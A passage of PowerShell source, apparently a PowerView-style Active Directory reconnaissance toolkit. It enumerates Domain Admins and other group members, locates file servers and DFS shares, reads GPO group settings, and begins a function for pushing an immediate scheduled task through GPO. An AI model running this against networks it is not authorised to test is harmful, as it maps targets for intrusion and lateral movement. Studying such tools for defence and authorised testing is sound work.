3365 $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
3366 }
3367
3368 process {
3369 if ($GroupSearcher) {
3370 if ($Recurse -and $UseMatchingRule) {
3371
3372 if ($GroupName) {
3373 $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
3374 }
3375 elseif ($SID) {
3376 $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
3377 }
3378 else {
3379
3380 $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
3381 $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
3382 }
3383 $GroupDN = $Group.distinguishedname
3384 $GroupFoundName = $Group.samaccountname
3385
3386 if ($GroupDN) {
3387 $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
3388 $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
3389
3390 $Members = $GroupSearcher.FindAll()
3391 $GroupFoundName = $GroupName
3392 }
3393 else {
3394 Write-Error "Unable to find Group"
3395 }
3396 }
3397 else {
3398 if ($GroupName) {
3399 $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
3400 }
3401 elseif ($SID) {
3402 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
3403 }
3404 else {
3405
3406 $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
3407 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
3408 }
3409
3410 try {
3411 $Result = $GroupSearcher.FindOne()
3412 }
3413 catch {
3414 $Members = @()
3415 }
3416
3417 $GroupFoundName = ''
3418
3419 if ($Result) {
3420 $Members = $Result.properties.item("member")
3421
3422 if($Members.count -eq 0) {
3423
3424 $Finished = $False
3425 $Bottom = 0
3426 $Top = 0
3427
3428 while(!$Finished) {
3429 $Top = $Bottom + 1499
3430 $MemberRange="member;range=$Bottom-$Top"
3431 $Bottom += 1500
3432
3433 $GroupSearcher.PropertiesToLoad.Clear()
3434 [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
3435 [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname")
3436 try {
3437 $Result = $GroupSearcher.FindOne()
3438 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
3439 $Members += $Result.Properties.item($RangedProperty)
3440 $GroupFoundName = $Result.properties.item("samaccountname")[0]
3441
3442 if ($Members.count -eq 0) {
3443 $Finished = $True
3444 }
3445 }
3446 catch [System.Management.Automation.MethodInvocationException] {
3447 $Finished = $True
3448 }
3449 }
3450 }
3451 else {
3452 $GroupFoundName = $Result.properties.item("samaccountname")[0]
3453 $Members += $Result.Properties.item($RangedProperty)
3454 }
3455 }
3456 $GroupSearcher.dispose()
3457 }
3458
3459 $Members | Where-Object {$_} | ForEach-Object {
3460
3461 if ($Recurse -and $UseMatchingRule) {
3462 $Properties = $_.Properties
3463 }
3464 else {
3465 if($TargetDomainController) {
3466 $Result = [adsi]"LDAP://$TargetDomainController/$_"
3467 }
3468 else {
3469 $Result = [adsi]"LDAP://$_"
3470 }
3471 if($Result){
3472 $Properties = $Result.Properties
3473 }
3474 }
3475
3476 if($Properties) {
3477
3478 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
3479
3480 if ($FullData) {
3481 $GroupMember = Convert-LDAPProperty -Properties $Properties
3482 }
3483 else {
3484 $GroupMember = New-Object PSObject
3485 }
3486
3487 $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
3488 $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
3489
3490 if($Properties.objectSid) {
3491 $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
3492 }
3493 else {
3494 $MemberSID = $Null
3495 }
3496
3497 try {
3498 $MemberDN = $Properties.distinguishedname[0]
3499
3500 if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {
3501 try {
3502 if(-not $MemberSID) {
3503 $MemberSID = $Properties.cn[0]
3504 }
3505 $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'
3506 if($MemberSimpleName) {
3507 $MemberDomain = $MemberSimpleName.Split('@')[1]
3508 }
3509 else {
3510 Write-Warning "Error converting $MemberDN"
3511 $MemberDomain = $Null
3512 }
3513 }
3514 catch {
3515 Write-Warning "Error converting $MemberDN"
3516 $MemberDomain = $Null
3517 }
3518 }
3519 else {
3520
3521 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
3522 }
3523 }
3524 catch {
3525 $MemberDN = $Null
3526 $MemberDomain = $Null
3527 }
3528
3529 if ($Properties.samaccountname) {
3530
3531 $MemberName = $Properties.samaccountname[0]
3532 }
3533 else {
3534
3535 try {
3536 $MemberName = Convert-SidToName $Properties.cn[0]
3537 }
3538 catch {
3539
3540 $MemberName = $Properties.cn
3541 }
3542 }
3543
3544 $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
3545 $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
3546 $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
3547 $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
3548 $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
3549 $GroupMember.PSObject.TypeNames.Add('ShaiView.GroupMember')
3550 $GroupMember
3551
3552
3553 if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
3554 if($FullData) {
3555 Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
3556 }
3557 else {
3558 Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
3559 }
3560 }
3561 }
3562 }
3563 }
3564 }
3565}
3566
3567
3568function Get-NetFileServer {
3569
3570
3571 [CmdletBinding()]
3572 param(
3573 [String]
3574 $Domain,
3575
3576 [String]
3577 $DomainController,
3578
3579 [String[]]
3580 $TargetUsers,
3581
3582 [ValidateRange(1,10000)]
3583 [Int]
3584 $PageSize = 200,
3585
3586 [Management.Automation.PSCredential]
3587 $Credential
3588 )
3589
3590 function SplitPath {
3591
3592 param([String]$Path)
3593
3594 if ($Path -and ($Path.split("\\").Count -ge 3)) {
3595 $Temp = $Path.split("\\")[2]
3596 if($Temp -and ($Temp -ne '')) {
3597 $Temp
3598 }
3599 }
3600 }
3601 $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))"
3602 Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object {
3603
3604 if($TargetUsers) {
3605 $TargetUsers -Match $_.samAccountName
3606 }
3607 else { $True }
3608 } | ForEach-Object {
3609
3610 if($_.homedirectory) {
3611 SplitPath($_.homedirectory)
3612 }
3613 if($_.scriptpath) {
3614 SplitPath($_.scriptpath)
3615 }
3616 if($_.profilepath) {
3617 SplitPath($_.profilepath)
3618 }
3619
3620 } | Where-Object {$_} | Sort-Object -Unique
3621}
3622
3623
3624function Get-DFSshare {
3625
3626 [CmdletBinding()]
3627 param(
3628 [String]
3629 [ValidateSet("All","V1","1","V2","2")]
3630 $Version = "All",
3631
3632 [String]
3633 $Domain,
3634
3635 [String]
3636 $DomainController,
3637
3638 [String]
3639 $ADSpath,
3640
3641 [ValidateRange(1,10000)]
3642 [Int]
3643 $PageSize = 200,
3644
3645 [Management.Automation.PSCredential]
3646 $Credential
3647 )
3648
3649 function Parse-Pkt {
3650 [CmdletBinding()]
3651 param(
3652 [byte[]]
3653 $Pkt
3654 )
3655
3656 $bin = $Pkt
3657 $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
3658 $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
3659 $offset = 8
3660
3661 $object_list = @()
3662 for($i=1; $i -le $blob_element_count; $i++){
3663 $blob_name_size_start = $offset
3664 $blob_name_size_end = $offset + 1
3665 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
3666
3667 $blob_name_start = $blob_name_size_end + 1
3668 $blob_name_end = $blob_name_start + $blob_name_size - 1
3669 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
3670
3671 $blob_data_size_start = $blob_name_end + 1
3672 $blob_data_size_end = $blob_data_size_start + 3
3673 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
3674
3675 $blob_data_start = $blob_data_size_end + 1
3676 $blob_data_end = $blob_data_start + $blob_data_size - 1
3677 $blob_data = $bin[$blob_data_start..$blob_data_end]
3678 switch -wildcard ($blob_name) {
3679 "\siteroot" { }
3680 "\domainroot*" {
3681
3682
3683 $root_or_link_guid_start = 0
3684 $root_or_link_guid_end = 15
3685 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
3686 $guid = New-Object Guid(,$root_or_link_guid)
3687 $prefix_size_start = $root_or_link_guid_end + 1
3688 $prefix_size_end = $prefix_size_start + 1
3689 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
3690 $prefix_start = $prefix_size_end + 1
3691 $prefix_end = $prefix_start + $prefix_size - 1
3692 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
3693
3694 $short_prefix_size_start = $prefix_end + 1
3695 $short_prefix_size_end = $short_prefix_size_start + 1
3696 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
3697 $short_prefix_start = $short_prefix_size_end + 1
3698 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
3699 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
3700
3701 $type_start = $short_prefix_end + 1
3702 $type_end = $type_start + 3
3703 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
3704
3705 $state_start = $type_end + 1
3706 $state_end = $state_start + 3
3707 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
3708
3709 $comment_size_start = $state_end + 1
3710 $comment_size_end = $comment_size_start + 1
3711 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
3712 $comment_start = $comment_size_end + 1
3713 $comment_end = $comment_start + $comment_size - 1
3714 if ($comment_size -gt 0) {
3715 $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
3716 }
3717 $prefix_timestamp_start = $comment_end + 1
3718 $prefix_timestamp_end = $prefix_timestamp_start + 7
3719
3720 $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end]
3721 $state_timestamp_start = $prefix_timestamp_end + 1
3722 $state_timestamp_end = $state_timestamp_start + 7
3723 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
3724 $comment_timestamp_start = $state_timestamp_end + 1
3725 $comment_timestamp_end = $comment_timestamp_start + 7
3726 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
3727 $version_start = $comment_timestamp_end + 1
3728 $version_end = $version_start + 3
3729 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
3730
3731
3732 $dfs_targetlist_blob_size_start = $version_end + 1
3733 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
3734 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
3735
3736 $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
3737 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
3738 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
3739 $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
3740 $reserved_blob_size_end = $reserved_blob_size_start + 3
3741 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
3742
3743 $reserved_blob_start = $reserved_blob_size_end + 1
3744 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
3745 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
3746 $referral_ttl_start = $reserved_blob_end + 1
3747 $referral_ttl_end = $referral_ttl_start + 3
3748 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
3749
3750
3751 $target_count_start = 0
3752 $target_count_end = $target_count_start + 3
3753 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
3754 $t_offset = $target_count_end + 1
3755
3756 for($j=1; $j -le $target_count; $j++){
3757 $target_entry_size_start = $t_offset
3758 $target_entry_size_end = $target_entry_size_start + 3
3759 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
3760 $target_time_stamp_start = $target_entry_size_end + 1
3761 $target_time_stamp_end = $target_time_stamp_start + 7
3762
3763 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
3764 $target_state_start = $target_time_stamp_end + 1
3765 $target_state_end = $target_state_start + 3
3766 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
3767
3768 $target_type_start = $target_state_end + 1
3769 $target_type_end = $target_type_start + 3
3770 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
3771
3772 $server_name_size_start = $target_type_end + 1
3773 $server_name_size_end = $server_name_size_start + 1
3774 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
3775
3776 $server_name_start = $server_name_size_end + 1
3777 $server_name_end = $server_name_start + $server_name_size - 1
3778 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
3779
3780 $share_name_size_start = $server_name_end + 1
3781 $share_name_size_end = $share_name_size_start + 1
3782 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
3783 $share_name_start = $share_name_size_end + 1
3784 $share_name_end = $share_name_start + $share_name_size - 1
3785 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
3786
3787 $target_list += "\\$server_name\$share_name"
3788 $t_offset = $share_name_end + 1
3789 }
3790 }
3791 }
3792 $offset = $blob_data_end + 1
3793 $dfs_pkt_properties = @{
3794 'Name' = $blob_name
3795 'Prefix' = $prefix
3796 'TargetList' = $target_list
3797 }
3798 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
3799 $prefix = $null
3800 $blob_name = $null
3801 $target_list = $null
3802 }
3803
3804 $servers = @()
3805 $object_list | ForEach-Object {
3806 if ($_.TargetList) {
3807 $_.TargetList | ForEach-Object {
3808 $servers += $_.split("\")[2]
3809 }
3810 }
3811 }
3812
3813 $servers
3814 }
3815
3816 function Get-DFSshareV1 {
3817 [CmdletBinding()]
3818 param(
3819 [String]
3820 $Domain,
3821
3822 [String]
3823 $DomainController,
3824
3825 [String]
3826 $ADSpath,
3827
3828 [ValidateRange(1,10000)]
3829 [Int]
3830 $PageSize = 200,
3831
3832 [Management.Automation.PSCredential]
3833 $Credential
3834 )
3835
3836 $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
3837
3838 if($DFSsearcher) {
3839 $DFSshares = @()
3840 $DFSsearcher.filter = "(&(objectClass=fTDfs))"
3841
3842 try {
3843 $Results = $DFSSearcher.FindAll()
3844 $Results | Where-Object {$_} | ForEach-Object {
3845 $Properties = $_.Properties
3846 $RemoteNames = $Properties.remoteservername
3847 $Pkt = $Properties.pkt
3848
3849 $DFSshares += $RemoteNames | ForEach-Object {
3850 try {
3851 if ( $_.Contains('\') ) {
3852 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
3853 }
3854 }
3855 catch {
3856 Write-Verbose "Error in parsing DFS share : $_"
3857 }
3858 }
3859 }
3860 $Results.dispose()
3861 $DFSSearcher.dispose()
3862
3863 if($pkt -and $pkt[0]) {
3864 Parse-Pkt $pkt[0] | ForEach-Object {
3865
3866
3867
3868
3869
3870 if ($_ -ne "null") {
3871 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
3872 }
3873 }
3874 }
3875 }
3876 catch {
3877 Write-Warning "Get-DFSshareV1 error : $_"
3878 }
3879 $DFSshares | Sort-Object -Property "RemoteServerName"
3880 }
3881 }
3882
3883 function Get-DFSshareV2 {
3884 [CmdletBinding()]
3885 param(
3886 [String]
3887 $Domain,
3888
3889 [String]
3890 $DomainController,
3891
3892 [String]
3893 $ADSpath,
3894
3895 [ValidateRange(1,10000)]
3896 [Int]
3897 $PageSize = 200,
3898
3899 [Management.Automation.PSCredential]
3900 $Credential
3901 )
3902
3903 $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
3904
3905 if($DFSsearcher) {
3906 $DFSshares = @()
3907 $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
3908 $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
3909
3910 try {
3911 $Results = $DFSSearcher.FindAll()
3912 $Results | Where-Object {$_} | ForEach-Object {
3913 $Properties = $_.Properties
3914 $target_list = $Properties.'msdfs-targetlistv2'[0]
3915 $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
3916 $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
3917 try {
3918 $Target = $_.InnerText
3919 if ( $Target.Contains('\') ) {
3920 $DFSroot = $Target.split("\")[3]
3921 $ShareName = $Properties.'msdfs-linkpathv2'[0]
3922 New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
3923 }
3924 }
3925 catch {
3926 Write-Verbose "Error in parsing target : $_"
3927 }
3928 }
3929 }
3930 $Results.dispose()
3931 $DFSSearcher.dispose()
3932 }
3933 catch {
3934 Write-Warning "Get-DFSshareV2 error : $_"
3935 }
3936 $DFSshares | Sort-Object -Unique -Property "RemoteServerName"
3937 }
3938 }
3939
3940 $DFSshares = @()
3941
3942 if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
3943 $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
3944 }
3945 if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
3946 $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
3947 }
3948
3949 $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
3950}
3951
3952
3953filter Get-GptTmpl {
3954
3955
3956 [CmdletBinding()]
3957 Param (
3958 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
3959 [String]
3960 $GptTmplPath,
3961
3962 [Switch]
3963 $UsePSDrive
3964 )
3965
3966 if($UsePSDrive) {
3967
3968 $Parts = $GptTmplPath.split('\')
3969 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
3970 $FilePath = $Parts[-1]
3971 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
3972
3973 Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"
3974
3975 try {
3976 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
3977 }
3978 catch {
3979 Write-Verbose "Error mounting path $GptTmplPath : $_"
3980 return $Null
3981 }
3982
3983
3984 $TargetGptTmplPath = $RandDrive + ":\" + $FilePath
3985 }
3986 else {
3987 $TargetGptTmplPath = $GptTmplPath
3988 }
3989
3990 Write-Verbose "GptTmplPath: $GptTmplPath"
3991
3992 try {
3993 Write-Verbose "Parsing $TargetGptTmplPath"
3994 $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue
3995 }
3996 catch {
3997 Write-Verbose "Error parsing $TargetGptTmplPath : $_"
3998 }
3999
4000 if($UsePSDrive -and $RandDrive) {
4001 Write-Verbose "Removing temp PSDrive $RandDrive"
4002 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
4003 }
4004}
4005
4006
4007filter Get-GroupsXML {
4008
4009 [CmdletBinding()]
4010 Param (
4011 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
4012 [String]
4013 $GroupsXMLPath,
4014
4015 [Switch]
4016 $UsePSDrive
4017 )
4018
4019 if($UsePSDrive) {
4020
4021 $Parts = $GroupsXMLPath.split('\')
4022 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
4023 $FilePath = $Parts[-1]
4024 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
4025
4026 Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"
4027
4028 try {
4029 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
4030 }
4031 catch {
4032 Write-Verbose "Error mounting path $GroupsXMLPath : $_"
4033 return $Null
4034 }
4035
4036
4037 $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
4038 }
4039 else {
4040 $TargetGroupsXMLPath = $GroupsXMLPath
4041 }
4042
4043 try {
4044 [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop
4045
4046
4047 $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
4048
4049 $Groupname = $_.Properties.groupName
4050
4051
4052 $GroupSID = $_.Properties.groupSid
4053 if(-not $GroupSID) {
4054 if($Groupname -match 'Administrators') {
4055 $GroupSID = 'S-1-5-32-544'
4056 }
4057 elseif($Groupname -match 'Remote Desktop') {
4058 $GroupSID = 'S-1-5-32-555'
4059 }
4060 elseif($Groupname -match 'Guests') {
4061 $GroupSID = 'S-1-5-32-546'
4062 }
4063 else {
4064 $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID
4065 }
4066 }
4067
4068
4069 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
4070 if($_.sid) { $_.sid }
4071 else { $_.name }
4072 }
4073
4074 if ($Members) {
4075
4076
4077 if($_.filters) {
4078 $Filters = $_.filters.GetEnumerator() | ForEach-Object {
4079 New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
4080 }
4081 }
4082 else {
4083 $Filters = $Null
4084 }
4085
4086 if($Members -isnot [System.Array]) { $Members = @($Members) }
4087
4088 $GPOGroup = New-Object PSObject
4089 $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
4090 $GPOGroup | Add-Member Noteproperty 'Filters' $Filters
4091 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
4092 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
4093 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null
4094 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members
4095 $GPOGroup
4096 }
4097 }
4098 }
4099 catch {
4100 Write-Verbose "Error parsing $TargetGroupsXMLPath : $_"
4101 }
4102
4103 if($UsePSDrive -and $RandDrive) {
4104 Write-Verbose "Removing temp PSDrive $RandDrive"
4105 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
4106 }
4107}
4108
4109
4110function Get-NetGPO {
4111
4112 [CmdletBinding()]
4113 Param (
4114 [Parameter(ValueFromPipeline=$True)]
4115 [String]
4116 $GPOname = '*',
4117
4118 [String]
4119 $DisplayName,
4120
4121 [String]
4122 $ComputerName,
4123
4124 [String]
4125 $Domain,
4126
4127 [String]
4128 $DomainController,
4129
4130 [String]
4131 $ADSpath,
4132
4133 [ValidateRange(1,10000)]
4134 [Int]
4135 $PageSize = 200,
4136
4137 [Management.Automation.PSCredential]
4138 $Credential
4139 )
4140
4141 begin {
4142 $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
4143 }
4144
4145 process {
4146 if ($GPOSearcher) {
4147
4148 if($ComputerName) {
4149 $GPONames = @()
4150 $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
4151
4152 if(!$Computers) {
4153 throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
4154 }
4155
4156
4157 $ComputerOUs = @()
4158 ForEach($Computer in $Computers) {
4159
4160 $DN = $Computer.distinguishedname
4161
4162 $ComputerOUs += $DN.split(",") | ForEach-Object {
4163 if($_.startswith("OU=")) {
4164 $DN.substring($DN.indexof($_))
4165 }
4166 }
4167 }
4168
4169 Write-Verbose "ComputerOUs: $ComputerOUs"
4170
4171
4172 ForEach($ComputerOU in $ComputerOUs) {
4173 $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
4174
4175 write-verbose "blah: $($_.name)"
4176 $_.gplink.split("][") | ForEach-Object {
4177 if ($_.startswith("LDAP")) {
4178 $_.split(";")[0]
4179 }
4180 }
4181 }
4182 }
4183
4184 Write-Verbose "GPONames: $GPONames"
4185
4186
4187 $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
4188 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
4189 $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
4190 if($_.gplink) {
4191 $_.gplink.split("][") | ForEach-Object {
4192 if ($_.startswith("LDAP")) {
4193 $_.split(";")[0]
4194 }
4195 }
4196 }
4197 }
4198 }
4199
4200 $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
4201
4202
4203 $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
4204 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
4205
4206 try {
4207 $Results = $GPOSearcher.FindAll()
4208 $Results | Where-Object {$_} | ForEach-Object {
4209 $Out = Convert-LDAPProperty -Properties $_.Properties
4210 $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
4211 $Out
4212 }
4213 $Results.dispose()
4214 $GPOSearcher.dispose()
4215 }
4216 catch {
4217 Write-Warning $_
4218 }
4219 }
4220 }
4221
4222 else {
4223 if($DisplayName) {
4224 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
4225 }
4226 else {
4227 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
4228 }
4229
4230 try {
4231 $Results = $GPOSearcher.FindAll()
4232 $Results | Where-Object {$_} | ForEach-Object {
4233 if($ADSPath -and ($ADSpath -Match '^GC://')) {
4234 $Properties = Convert-LDAPProperty -Properties $_.Properties
4235 try {
4236 $GPODN = $Properties.distinguishedname
4237 $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
4238 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"
4239 $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
4240 $Properties
4241 }
4242 catch {
4243 $Properties
4244 }
4245 }
4246 else {
4247
4248 Convert-LDAPProperty -Properties $_.Properties
4249 }
4250 }
4251 $Results.dispose()
4252 $GPOSearcher.dispose()
4253 }
4254 catch {
4255 Write-Warning $_
4256 }
4257 }
4258 }
4259 }
4260}
4261
4262
4263function New-GPOImmediateTask {
4264
4265 [CmdletBinding(DefaultParameterSetName = 'Create')]
4266 Param (
4267 [Parameter(ParameterSetName = 'Create', Mandatory = $True)]
4268 [String]
4269 [ValidateNotNullOrEmpty()]
4270 $TaskName,
4271
4272 [Parameter(ParameterSetName = 'Create')]
4273 [String]
4274 [ValidateNotNullOrEmpty()]
4275 $Command = 'powershell',
4276
4277 [Parameter(ParameterSetName = 'Create')]
4278 [String]
4279 [ValidateNotNullOrEmpty()]
4280 $CommandArguments,
4281
4282 [Parameter(ParameterSetName = 'Create')]
4283 [String]
4284 [ValidateNotNullOrEmpty()]
4285 $TaskDescription = '',
4286
4287 [Parameter(ParameterSetName = 'Create')]
4288 [String]
